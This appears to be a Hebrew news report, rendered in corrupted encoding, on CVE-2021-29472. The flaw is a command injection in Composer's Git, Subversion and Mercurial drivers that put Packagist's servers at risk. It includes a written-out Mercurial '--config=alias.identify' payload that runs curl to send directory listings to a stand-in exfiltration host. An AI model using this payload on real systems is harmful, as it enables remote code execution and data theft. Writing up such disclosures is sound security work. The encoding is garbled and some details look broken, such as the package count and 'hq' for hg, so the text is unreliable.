ืคื’ื™ืขื•ืช ื‘ืžื ื”ืœ ื”ื—ื‘ื™ืœื•ืช ืฉืœ Composer ื”ืžืืคืฉืจืช ืคื’ื™ืขื” ื‘ืžืื’ืจ ื”-PHP ืฉืœ Packagist

ื–ื•ื”ืชื” ืคื’ื™ืขื•ืช ืงืจื™ื˜ื™ืช (CVE-2021-29472) ื‘ืžื ื”ืœ ื”ืชืœื•ืช ืฉืœ Composer ื”ืžืืคืฉืจืช ืœื‘ืฆืข ืคืงื•ื“ื•ืช ืฉืจื™ืจื•ืชื™ื•ืช ื‘ืžืขืจื›ืช ื‘ืขืช ืขื™ื‘ื•ื“ ื—ื‘ื™ืœื” ืขื ืขืจืš URL ื‘ืคื•ืจืžื˜ ืžื™ื•ื—ื“ ื”ืžืฆื™ื™ืŸ ืืช ื”ื›ืชื•ื‘ืช ืœื”ื•ืจื“ืช ืงื•ื“ ื”ืžืงื•ืจ. ื”ื‘ืขื™ื” ืžืชืจื—ืฉืช ื‘ืจื›ื™ื‘ื™ GitDriver, SvnDriver ื•-HgDriver ื”ืžืฉืžืฉื™ื ื‘ืขืช ืฉื™ืžื•ืฉ ื‘ืžืขืจื›ื•ืช ื‘ืงืจืช ืžืงื•ืจ Git, Subversion ื•-Mercurial. ื”ืคื’ื™ืขื•ืช ื ืคืชืจื” ื‘ืžื”ื“ื•ืจื•ืช Composer 1.10.22 ื•-2.0.13.

ื™ืฆื•ื™ืŸ ื‘ืžื™ื•ื—ื“ ืฉื”ื‘ืขื™ื” ื”ืฉืคื™ืขื” ื‘ืขื™ืงืจ ืขืœ ืžืื’ืจ ื”ื—ื‘ื™ืœื•ืช ื‘ืจื™ืจืช ื”ืžื—ื“ืœ ืฉืœ Composer, Packagist, ื”ืžื›ื™ืœ 306 ื—ื‘ื™ืœื•ืช ืขื‘ื•ืจ ืžืคืชื—ื™ PHP ื•ืžืฉืจืช ื™ื•ืชืจ ืž-1.4 ืžื™ืœื™ืืจื“ ื”ื•ืจื“ื•ืช ื‘ื—ื•ื“ืฉ. ื”ื ื™ืกื•ื™ ื”ืจืื” ืฉืื ื™ืฉ ื™ื“ืข ืขืœ ื”ื‘ืขื™ื”, ื”ืชื•ืงืคื™ื ื™ื›ื•ืœื™ื ืœื”ืฉื™ื’ ืฉืœื™ื˜ื” ืขืœ ืชืฉืชื™ืช ื”-Packagist ื•ืœื™ื™ืจื˜ ืืช ื”ืื™ืฉื•ืจื™ื ืฉืœ ื”ืžืชื—ื–ืงื™ื ืื• ืœื”ืคื ื•ืช ื”ื•ืจื“ื•ืช ื—ื‘ื™ืœื•ืช ืœืฉืจืช ืฉืœ ืฆื“ ืฉืœื™ืฉื™, ื•ืœืืจื’ืŸ ืžืฉืœื•ื— ืฉืœ ื’ืจืกืื•ืช ื—ื‘ื™ืœื” ืขื ืฉื™ื ื•ื™ื™ื ื–ื“ื•ื ื™ื™ื ื›ื“ื™ ืœื”ื—ืœื™ืฃ ื“ืœืช ืื—ื•ืจื™ืช ื‘ืžื”ืœืš ืชื”ืœื™ืš ื”ืชืงื ืช ื”ืชืœื•ืช.

ื”ืกื›ื ื” ืขื‘ื•ืจ ืžืฉืชืžืฉื™ ื”ืงืฆื” ืžื•ื’ื‘ืœืช ืœืขื•ื‘ื“ื” ืฉื”ืชื•ื›ืŸ ืฉืœ composer.json ื ืงื‘ืข ื‘ื“ืจืš ื›ืœืœ ืขืœ ื™ื“ื™ ื”ืžืฉืชืžืฉ, ื•ืงื™ืฉื•ืจื™ ืžืงื•ืจ ืžืฉื•ื“ืจื™ื ื‘ืขืช ื’ื™ืฉื” ืœืžืื’ืจื™ื ืฉืœ ืฆื“ ืฉืœื™ืฉื™, ืฉื‘ื“ืจืš ื›ืœืœ ืžื”ื™ืžื ื™ื. ื”ืžื›ื” ื”ืขื™ืงืจื™ืช ื ืคืœื” ืขืœ ืžืื’ืจ Packagist.org ื•ืขืœ ืฉื™ืจื•ืช ื”-Private Packagist, ืฉื”ืชืงืฉืจ ืœ-Composer ืขื ื”ืขื‘ืจืช ื”ื ืชื•ื ื™ื ืฉื”ืชืงื‘ืœื• ืžืžืฉืชืžืฉื™ื. ืชื•ืงืคื™ื ื™ื›ื•ืœื™ื ืœื‘ืฆืข ืืช ื”ืงื•ื“ ืฉืœื”ื ื‘ืฉืจืชื™ Packagist ืขืœ ื™ื“ื™ ื”ืฆื‘ืช ื—ื‘ื™ืœื” ืฉืชื•ื›ื ื ื” ื‘ืžื™ื•ื—ื“.

ืฆื•ื•ืช Packagist ืชื™ืงืŸ ืืช ื”ืคื’ื™ืขื•ืช ืชื•ืš 12 ืฉืขื•ืช ืžืจื’ืข ื”ื“ื™ื•ื•ื— ืขืœ ื”ืคื’ื™ืขื•ืช. ื”ื—ื•ืงืจื™ื ื”ื•ื“ื™ืขื• ื‘ืื•ืคืŸ ืคืจื˜ื™ ืœืžืคืชื—ื™ Packagist ื‘-22 ื‘ืืคืจื™ืœ, ื•ื”ื‘ืขื™ื” ืชื•ืงื ื” ื‘ืื•ืชื• ื™ื•ื. ืขื“ื›ื•ืŸ ืคื•ืžื‘ื™ ืœ-Composer ื”ืžืชื™ื™ื—ืก ืœืคื’ื™ืขื•ืช ืคื•ืจืกื ื‘-27 ื‘ืืคืจื™ืœ, ืขื ื”ืคืจื˜ื™ื ืฉื ื—ืฉืคื• ื‘-28 ื‘ืืคืจื™ืœ. ื‘ื™ืงื•ืจืช ืฉืœ ื™ื•ืžื ื™ื ื‘ืฉืจืชื™ Packagist ืœื ื’ื™ืœืชื” ืคืขื™ืœื•ืช ื—ืฉื•ื“ื” ื”ืงืฉื•ืจื” ืœืคื’ื™ืขื•ืช.

ื”ื‘ืขื™ื” ื ื’ืจืžืช ืขืœ ื™ื“ื™ ื‘ืื’ ื‘ืงื•ื“ ืื™ืžื•ืช ื›ืชื•ื‘ืช ื”ืืชืจ ื‘ืงื•ื‘ืฅ ื”ืฉื•ืจืฉ composer.json ื•ื‘ืงื™ืฉื•ืจื™ ื”ื•ืจื“ืช ื”ืžืงื•ืจ. ื”ืฉื’ื™ืื” ืงื™ื™ืžืช ื‘ืงื•ื“ ืžืื– ื ื•ื‘ืžื‘ืจ 2011. Packagist ืžืฉืชืžืฉ ื‘ืฉื›ื‘ื•ืช ืžื™ื•ื—ื“ื•ืช ื›ื“ื™ ืœืืจื’ืŸ ื˜ืขื™ื ืช ืงื•ื“ ืžื‘ืœื™ ืœื”ื™ื•ืช ืงืฉื•ืจื” ืœืžืขืจื›ืช ื‘ืงืจืช ืžืงื•ืจ ืกืคืฆื™ืคื™ืช, ืืฉืจ ืžื‘ื•ืฆืขื•ืช ืขืœ ื™ื“ื™ ืงืจื™ืื” "fromShellCommandline" ื•ื”ืขื‘ืจืช ืืจื’ื•ืžื ื˜ื™ื ืฉืœ ืฉื•ืจืช ื”ืคืงื•ื“ื”. ืœื“ื•ื’ืžื”, ืขื‘ื•ืจ git, ื”ืคืงื•ื“ื” "git ls-remote -heads $URL" ื ืงืจืืช, ื›ืืฉืจ ื›ืชื•ื‘ืช ื”-URL ืžืขื•ื‘ื“ืช ื‘ืืžืฆืขื•ืช ืฉื™ื˜ืช "ProcessExecutor::escape($url)", ื‘ื•ืจื—ืช ืžื‘ื ื™ื ืฉืขืœื•ืœื™ื ืœื”ื™ื•ืช ืžืกื•ื›ื ื™ื ื›ื’ื•ืŸ "$(. ..)" ืื• "` ...`".

ืœื™ื‘ืช ื”ื‘ืขื™ื” ื”ื™ื ืฉืฉื™ื˜ืช ProcessExecutor::escape ืœื ื‘ืจื—ื” ืžื”ืจืฆืฃ "โ€”", ืžื” ืฉืืคืฉืจ ืœืฆื™ื™ืŸ ื›ืœ ืคืจืžื˜ืจ ืงืจื™ืื” ื ื•ืกืฃ ื‘ื›ืชื•ื‘ืช ื”-URL. ื‘ืจื™ื—ื” ื›ื–ื• ื”ื™ื™ืชื” ื—ืกืจื” ื‘ืžื ื”ืœื™ ื”ืชืงื ื™ื ืฉืœ GitDriver.php, SvnDriver.php ื•-HgDriver.php. ืžืชืงืคืช GitDriver.php ื ื‘ืœืžื” ืขืœ ื™ื“ื™ ื”ืขื•ื‘ื“ื” ืฉื”ืคืงื•ื“ื” "git ls-remote" ืœื ืชืžื›ื” ื‘ืฆื™ื•ืŸ ืืจื’ื•ืžื ื˜ื™ื ื ื•ืกืคื™ื ืœืื—ืจ ื”ื ืชื™ื‘. ื”ืชืงืคื” ืขืœ HgDriver.php ื”ืชื‘ืจืจื” ื›ืืคืฉืจื™ืช ืขืœ ื™ื“ื™ ื”ืขื‘ืจืช ื”ืคืจืžื˜ืจ "--config" ืœื›ืœื™ ื”ืฉื™ืจื•ืช "hq", ื”ืžืืคืฉืจ ืœืš ืœืืจื’ืŸ ืืช ื”ื‘ื™ืฆื•ืข ืฉืœ ื›ืœ ืคืงื•ื“ื” ืขืœ ื™ื“ื™ ืžื ื™ืคื•ืœืฆื™ื” ืฉืœ ื”ื”ื’ื“ืจื” "alias.identify". ืœื“ื•ื’ืžื”, ื›ื“ื™ ืœื”ื•ืจื™ื“ ื•ืœื”ืคืขื™ืœ ืงื•ื“ ืขืœ ื™ื“ื™ ื”ืคืขืœืช ื›ืœื™ ื”ืฉื™ืจื•ืช curl, ืชื•ื›ืœ ืœืฆื™ื™ืŸ: โ€”config=alias.identify=!curl http://exfiltration-host.tld โ€”data "$(ls -alh)"

ืขืœ ื™ื“ื™ ืคืจืกื•ื ื—ื‘ื™ืœืช ื‘ื“ื™ืงื” ืขื ื›ืชื•ื‘ืช URL ื“ื•ืžื” ืœ-Packagist, ื”ื—ื•ืงืจื™ื ืื™ืžืชื• ื›ื™ ืœืื—ืจ ื”ืคืจืกื•ื, ื”ืฉืจืช ืฉืœื”ื ืงื™ื‘ืœ ื‘ืงืฉืช HTTP ืžืื—ื“ ืžืฉืจืชื™ Packagist ื‘-AWS ื”ืžื›ื™ืœื” ืจืฉื™ืžื” ืฉืœ ืงื‘ืฆื™ื ื‘ืกืคืจื™ื™ื” ื”ื ื•ื›ื—ื™ืช.

ืžืงื•ืจ: OpenNet.ru

ื”ื•ืกืคืช ืชื’ื•ื‘ื”